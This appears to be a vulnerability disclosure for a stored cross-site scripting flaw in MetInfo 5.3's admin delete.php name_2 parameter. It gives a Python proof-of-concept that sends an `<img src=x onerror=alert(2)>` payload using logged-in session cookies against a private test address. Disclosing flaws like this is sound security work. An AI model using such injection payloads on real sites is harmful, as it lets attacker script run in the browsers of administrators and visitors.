#### Vulnerability details：
To modify, add a message in problem position insert JavaScript test code `<img src=x onerror=alert(1)>`
Then the background access to relevant pages, or other users access to the front desk page will make the attack code is
executed.
```
E-mail：callarice () 163 com
DBAppSecurity Ltd
www.dbappsecurity.com.cn
```
POC:
```
import requests
url = "http://192.168.0.28/MetInfo5.3/admin/column/delete.php?anyid=25&lang=cn&ajaxmetinfo=1&no_order_2=1&name_2=1<img
src=x onerror=alert(2)>&nav_2=1&index_num_2=0&action=editor&lang=cn&anyid=25&allid=2,"
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko)
Version/5.1 Safari/534.50",
}
cookies = dict(PHPSESSID="9o2pth5a43hpj23nflnc7lfi24",
recordurl="",
met_auth="dfc7PoNLWryZ6Bu2hOEqxsEzRwMf3Nc%2BYqOWCxrSuQ2SivQF%2Fwfo0OP4JEP%2F7QakKJaXa46h5BB3nqrtt58caQaJcQ",
met_key="pnZh0Fw",
langset="cn",
upgraderemind="1",
tablepage_json="0%7Cuser%2Cadmin_user%2Cdojson_user_list"
)
s = requests.get(url,cookies=cookies,headers=headers,timeout=10,verify=False)
if s.status_code==200:
print 'Success'
```
Use this POC needs to obtain the cookie after login, because insert JavaScript place in the background.
The problem find is `delete.php?name_2=`
payload is : `<img src=x onerror=alert(2)>`
If after the success of the insert JavaScript, to several places in the background and other users access to the front
desk page to attack code execution
影倒
京公网安备 11010502034610号
暂无评论